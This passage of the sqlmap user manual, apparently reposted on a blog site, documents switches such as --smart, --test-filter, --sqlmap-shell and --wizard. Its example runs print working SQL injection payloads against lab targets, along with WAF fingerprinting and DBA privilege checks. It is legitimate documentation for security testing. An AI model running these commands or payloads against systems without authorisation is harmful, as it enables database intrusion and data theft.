  29. [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
  30. [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application S
  31. ecurity (IBM)'
  32. [xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
  33. [xx:xx:23] [DEBUG] page not found (404)
  34. [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
  35. [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'
  36. [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Fir
  37. ewall (Jiasule)'
  38. [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firew
  39. all (AQTRONIX)'
  40. [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
  41. [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source We
  42. b Application Firewall (Trustwave)'
  43. [xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Appli
  44. cation Firewall (Trustwave)'. Please consider usage of tamper scripts (option '-
  45. -tamper')
  46. [...]

Skip heuristic detection of WAF/IPS/IDS protection

Switch: --skip-waf

By default, sqlmap automatically sends inside one of starting requests a dummy parameter value containing a deliberately "suspicious" SQL injection payload (e.g. ...&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1). If target responds differently than for the original request, there is a high possibility that it's under some kind of protection. In case of any problems, user can disable this mechanism by providing switch --skip-waf.

Imitate smartphone

Switch: --mobile

Sometimes web servers expose different interfaces toward mobile phones than to desktop computers. In such cases you can enforce usage of one of predetermined smartphone HTTP User-Agent header values. By using this switch, sqlmap will ask you to pick one of popular smartphones which it will imitate in current run.

Example run:

  1. $ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
  2. [...]
  3. which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
  4. [1] Apple iPhone 4s (default)
  5. [2] BlackBerry 9900
  6. [3] Google Nexus 7
  7. [4] HP iPAQ 6365
  8. [5] HTC Sensation
  9. [6] Nokia N97
  10. [7] Samsung Galaxy S
  11. > 1
  12. [...]

Work in offline mode (only use session data)

Switch: --offline

By using switch --offline sqlmap will use only previous session data in data enumeration. This basically means that there will be zero connection attempts during such run.

Display page rank (PR) for Google dork results

Switch: --page-rank

Performs further requests to Google when -g is provided and display page rank (PR) for Google dork results.

Safely remove all content from output directory

Switch --purge-output

In case that user decides to safely remove all content from output directory, containing all target details from previous sqlmap runs, he can use switch --purge-output. While purging, all files from (sub)directories in folder output will be overwritten with random data, truncated, renamed to random names, (sub)directories will be renamed to random names too, and finally the whole directory tree will be deleted.

Example run:

  1. $ python sqlmap.py --purge-output -v 3
  2. [...]
  3. [xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'...
  4. [xx:xx:55] [DEBUG] changing file attributes
  5. [xx:xx:55] [DEBUG] writing random data to files
  6. [xx:xx:55] [DEBUG] truncating files
  7. [xx:xx:55] [DEBUG] renaming filenames to random values
  8. [xx:xx:55] [DEBUG] renaming directory names to random values
  9. [xx:xx:55] [DEBUG] deleting the whole directory tree
  10. [...]

Conduct through tests only if positive heuristic(s)

Switch --smart

There are cases when user has a large list of potential target URLs (e.g. provided with option -m) and he wants to find a vulnerable target as fast as possible. If switch --smart is used, only parameters with which DBMS error(s) can be provoked, are being used further in scans. Otherwise they are skipped.

Example against a MySQL target:

  1. $ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&use\
  2. r=foo&id=1" --batch --smart
  3. [...]
  4. [xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic
  5. [xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic
  6. [xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might 
  7. not be injectable
  8. [xx:xx:14] [INFO] skipping GET parameter 'ca'
  9. [xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
  10. [xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic
  11. [xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' migh
  12. t not be injectable
  13. [xx:xx:14] [INFO] skipping GET parameter 'user'
  14. [xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic
  15. [xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic
  16. [xx:xx:14] [INFO] GET parameter 'id' is dynamic
  17. [xx:xx:14] [WARNING] reflective value(s) found and filtering out
  18. [xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be 
  19. injectable (possible DBMS: 'MySQL')
  20. [xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'
  21. heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you 
  22. want to skip test payloads specific for other DBMSes? [Y/n] Y
  23. do you want to include all tests for 'MySQL' extending provided level (1) and ri
  24. sk (1)? [Y/n] Y
  25. [xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
  26. [xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
  27. NG clause' injectable 
  28. [xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  29. '
  30. [xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
  31.  HAVING clause' injectable 
  32. [xx:xx:14] [INFO] testing 'MySQL inline queries'
  33. [xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
  34. [xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
  35. [xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
  36. [xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' in
  37. jectable 
  38. [xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
  39. [xx:xx:24] [INFO] automatically extending ranges for UNION query injection techn
  40. ique tests as there is at least one other potential injection technique found
  41. [xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the 
  42. time needed to find the right number of query columns. Automatically extending t
  43. he range for current UNION query injection technique test
  44. [xx:xx:24] [INFO] target URL appears to have 3 columns in query
  45. [xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 colu
  46. mns' injectable
  47. [...]

Select (or skip) tests by payloads and/or titles

Option --test-filter

In case that you want to filter tests by their payloads and/or titles you can use this option. For example, if you want to test all payloads which have ROW keyword inside, you can use --test-filter=ROW.

Example against a MySQL target:

  1. $ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --b\
  2. atch --test-filter=ROW
  3. [...]
  4. [xx:xx:39] [INFO] GET parameter 'id' is dynamic
  5. [xx:xx:39] [WARNING] reflective value(s) found and filtering out
  6. [xx:xx:39] [INFO] heuristic (basic) test shows that GET parameter 'id' might be 
  7. injectable (possible DBMS: 'MySQL')
  8. [xx:xx:39] [INFO] testing for SQL injection on GET parameter 'id'
  9. [xx:xx:39] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause
  10. '
  11. [xx:xx:39] [INFO] GET parameter 'id' is 'MySQL >= 4.1 AND error-based - WHERE or
  12.  HAVING clause' injectable 
  13. GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
  14. )? [y/N] N
  15. sqlmap identified the following injection points with a total of 3 HTTP(s) reque
  16. sts:
  17. ---
  18. Place: GET
  19. Parameter: id
  20.     Type: error-based
  21.     Title: MySQL >= 4.1 AND error-based - WHERE or HAVING clause
  22.     Payload: id=1 AND ROW(4959,4971)>(SELECT COUNT(*),CONCAT(0x3a6d70623a,(SELEC
  23. T (C
  24.     ASE WHEN (4959=4959) THEN 1 ELSE 0 END)),0x3a6b7a653a,FLOOR(RAND(0)*2))x FRO
  25. M (S
  26.     ELECT 4706 UNION SELECT 3536 UNION SELECT 7442 UNION SELECT 3470)a GROUP BY 
  27. x)
  28. ---
  29. [...]

Option --test-skip=TEST

In case that you want to skip tests by their payloads and/or titles you can use this option. For example, if you want to skip all payloads which have BENCHMARK keyword inside, you can use --test-skip=BENCHMARK.

Interactive sqlmap shell

Switch: --sqlmap-shell

By using switch --sqlmap-shell user will be presented with the interactive sqlmap shell which has the history of all previous runs with used options and/or switches:

  1. $ python sqlmap.py --sqlmap-shell
  2. sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --technique=\
  3. BEU --batch
  4.          _
  5.  ___ ___| |_____ ___ ___  {1.0-dev-2188502}
  6. |_ -| . | |     | .'| . |
  7. |___|_  |_|_|_|_|__,|  _|
  8.       |_|           |_|   http://sqlmap.org
  10. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
  11.  consent is illegal. It is the end user's responsibility to obey all applicable 
  12. local, state and federal laws. Developers assume no liability and are not respon
  13. sible for any misuse or damage caused by this program
  14.  
  15. [*] starting at xx:xx:11
  16.  
  17. [xx:xx:11] [INFO] testing connection to the target URL
  18. [xx:xx:12] [INFO] testing if the target URL is stable
  19. [xx:xx:13] [INFO] target URL is stable
  20. [xx:xx:13] [INFO] testing if GET parameter 'artist' is dynamic
  21. [xx:xx:13] [INFO] confirming that GET parameter 'artist' is dynamic
  22. [xx:xx:13] [INFO] GET parameter 'artist' is dynamic
  23. [xx:xx:13] [INFO] heuristic (basic) test shows that GET parameter 'artist' might
  24.  be injectable (possible DBMS: 'MySQL')
  25. [xx:xx:13] [INFO] testing for SQL injection on GET parameter 'artist'
  26. it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
  27. ecific for other DBMSes? [Y/n] Y
  28. for the remaining tests, do you want to include all tests for 'MySQL' extending 
  29. provided level (1) and risk (1) values? [Y/n] Y
  30. [xx:xx:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
  31. [xx:xx:13] [INFO] GET parameter 'artist' seems to be 'AND boolean-based blind - 
  32. WHERE or HAVING clause' injectable 
  33. [xx:xx:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
  34. Y or GROUP BY clause'
  35. [xx:xx:13] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY
  36.  or GROUP BY clause'
  37. [xx:xx:13] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
  38. Y or GROUP BY clause (EXTRACTVALUE)'
  39. [xx:xx:13] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
  40.  or GROUP BY clause (EXTRACTVALUE)'
  41. [xx:xx:14] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
  42. Y or GROUP BY clause (UPDATEXML)'
  43. [xx:xx:14] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
  44.  or GROUP BY clause (UPDATEXML)'
  45. [xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
  46. Y or GROUP BY clause (EXP)'
  47. [xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (E
  48. XP)'
  49. [xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
  50. Y or GROUP BY clause (BIGINT UNSIGNED)'
  51. [xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (B
  52. IGINT UNSIGNED)'
  53. [xx:xx:14] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER B
  54. Y or GROUP BY clause'
  55. [xx:xx:14] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING clause'
  56. [xx:xx:14] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
  57. [xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACT
  58. VALUE)'
  59. [xx:xx:14] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
  60. [xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACT
  61. VALUE)'
  62. [xx:xx:15] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEX
  63. ML)'
  64. [xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
  65. [xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT 
  66. UNSIGNED)'
  67. [xx:xx:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
  68. [xx:xx:15] [INFO] automatically extending ranges for UNION query injection techn
  69. ique tests as there is at least one other (potential) technique found
  70. [xx:xx:15] [INFO] ORDER BY technique seems to be usable. This should reduce the 
  71. time needed to find the right number of query columns. Automatically extending t
  72. he range for current UNION query injection technique test
  73. [xx:xx:15] [INFO] target URL appears to have 3 columns in query
  74. [xx:xx:16] [INFO] GET parameter 'artist' is 'Generic UNION query (NULL) - 1 to 2
  75. 0 columns' injectable
  76. GET parameter 'artist' is vulnerable. Do you want to keep testing the others (if
  77.  any)? [y/N] N
  78. sqlmap identified the following injection point(s) with a total of 39 HTTP(s) re
  79. quests:
  80. ---
  81. Parameter: artist (GET)
  82.     Type: boolean-based blind
  83.     Title: AND boolean-based blind - WHERE or HAVING clause
  84.     Payload: artist=1 AND 5707=5707
  85.  
  86.     Type: UNION query
  87.     Title: Generic UNION query (NULL) - 3 columns
  88.     Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
  89. 26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
  90. NULL,NULL-- -
  91. ---
  92. [xx:xx:16] [INFO] testing MySQL
  93. [xx:xx:16] [INFO] confirming MySQL
  94. [xx:xx:16] [INFO] the back-end DBMS is MySQL
  95. web application technology: Nginx, PHP 5.3.10
  96. back-end DBMS: MySQL >= 5.0.0
  97. [xx:xx:16] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma
  98. p/output/testphp.vulnweb.com'
  99. sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner
  100.          _
  101.  ___ ___| |_____ ___ ___  {1.0-dev-2188502}
  102. |_ -| . | |     | .'| . |
  103. |___|_  |_|_|_|_|__,|  _|
  104.       |_|           |_|   http://sqlmap.org
  106. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
  107.  consent is illegal. It is the end user's responsibility to obey all applicable 
  108. local, state and federal laws. Developers assume no liability and are not respon
  109. sible for any misuse or damage caused by this program
  110.  
  111. [*] starting at xx:xx:25
  112.  
  113. [xx:xx:26] [INFO] resuming back-end DBMS 'mysql' 
  114. [xx:xx:26] [INFO] testing connection to the target URL
  115. sqlmap resumed the following injection point(s) from stored session:
  116. ---
  117. Parameter: artist (GET)
  118.     Type: boolean-based blind
  119.     Title: AND boolean-based blind - WHERE or HAVING clause
  120.     Payload: artist=1 AND 5707=5707
  121.  
  122.     Type: UNION query
  123.     Title: Generic UNION query (NULL) - 3 columns
  124.     Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
  125. 26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
  126. NULL,NULL-- -
  127. ---
  128. [xx:xx:26] [INFO] the back-end DBMS is MySQL
  129. [xx:xx:26] [INFO] fetching banner
  130. web application technology: Nginx, PHP 5.3.10
  131. back-end DBMS operating system: Linux Ubuntu
  132. back-end DBMS: MySQL 5
  133. banner:    '5.1.73-0ubuntu0.10.04.1'
  134. [xx:xx:26] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma
  135. p/output/testphp.vulnweb.com' 
  136. sqlmap-shell> exit

Simple wizard interface for beginner users

Switch: --wizard

For beginner users there is a wizard interface which uses a simple workflow with as little questions as possible. If user just enters target URL and uses default answers (e.g. by pressing Enter) he should have a properly set sqlmap run environment by the end of the workflow.

Example against a Microsoft SQL Server target:

  1. $ python sqlmap.py --wizard
  2.  
  3.     sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool
  4.     http://sqlmap.org
  5.  
  6. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
  7.  consent is illegal. It is the end user's responsibility to obey all applicable 
  8. local, state and federal laws. Developers assume no liability and are not respon
  9. sible for any misuse or damage caused by this program
  11. [*] starting at xx:xx:26
  13. Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_in
  14. t.asp?id=1
  15. POST data (--data) [Enter for None]: 
  16. Injection difficulty (--level/--risk). Please choose:
  17. [1] Normal (default)
  18. [2] Medium
  19. [3] Hard
  20. > 1
  21. Enumeration (--banner/--current-user/etc). Please choose:
  22. [1] Basic (default)
  23. [2] Smart
  24. [3] All
  25. > 1
  27. sqlmap is running, please wait..
  29. heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL S
  30. erver'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
  31. do you want to include all tests for 'Microsoft SQL Server' extending provided l
  32. evel (1) and risk (1)? [Y/n] Y
  33. GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
  34. )? [y/N] N
  35. sqlmap identified the following injection points with a total of 25 HTTP(s) requ
  36. ests:
  37. ---
  38. Place: GET
  39. Parameter: id
  40.     Type: boolean-based blind
  41.     Title: AND boolean-based blind - WHERE or HAVING clause
  42.     Payload: id=1 AND 2986=2986
  44.     Type: error-based
  45.     Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
  46.     Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+C
  47. HAR(58)+(SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58
  48. )+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)))
  50.     Type: UNION query
  51.     Title: Generic UNION query (NULL) - 3 columns
  52.     Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58)+CHAR(118)+CHAR(114)+CHAR(1
  53. 00)+CHAR(58)+CHAR(70)+CHAR(79)+CHAR(118)+CHAR(106)+CHAR(87)+CHAR(101)+CHAR(119)+
  54. CHAR(115)+CHAR(114)+CHAR(77)+CHAR(58)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)-- 
  56.     Type: stacked queries
  57.     Title: Microsoft SQL Server/Sybase stacked queries
  58.     Payload: id=1; WAITFOR DELAY '0:0:5'--
  60.     Type: AND/OR time-based blind
  61.     Title: Microsoft SQL Server/Sybase time-based blind
  62.     Payload: id=1 WAITFOR DELAY '0:0:5'--
  64.     Type: inline query
  65.     Title: Microsoft SQL Server/Sybase inline queries
  66.     Payload: id=(SELECT CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+CHAR(58)+(SELECT 
  67. (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(111)+CHAR
  68. (109)+CHAR(113)+CHAR(58))
  69. ---
  70. web server operating system: Windows XP
  71. web application technology: ASP, Microsoft IIS 5.1
  72. back-end DBMS operating system: Windows XP Service Pack 2
  73. back-end DBMS: Microsoft SQL Server 2005
  74. banner:
  75. ---
  76. Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) 
  77.     Oct 14 2005 00:33:37 
  78.     Copyright (c) 1988-2005 Microsoft Corporation
  79.     Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)
  80. ---
  81. current user:    'sa'
  82. current database:    'testdb'
  83. current user is DBA:    True
  85. [*] shutting down at xx:xx:52
声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/小丑西瓜9/article/detail/291891
推荐阅读
相关标签

Copyright © 2003-2013 www.wpsshop.cn 版权所有，并保留所有权利。

  

闽ICP备14008679号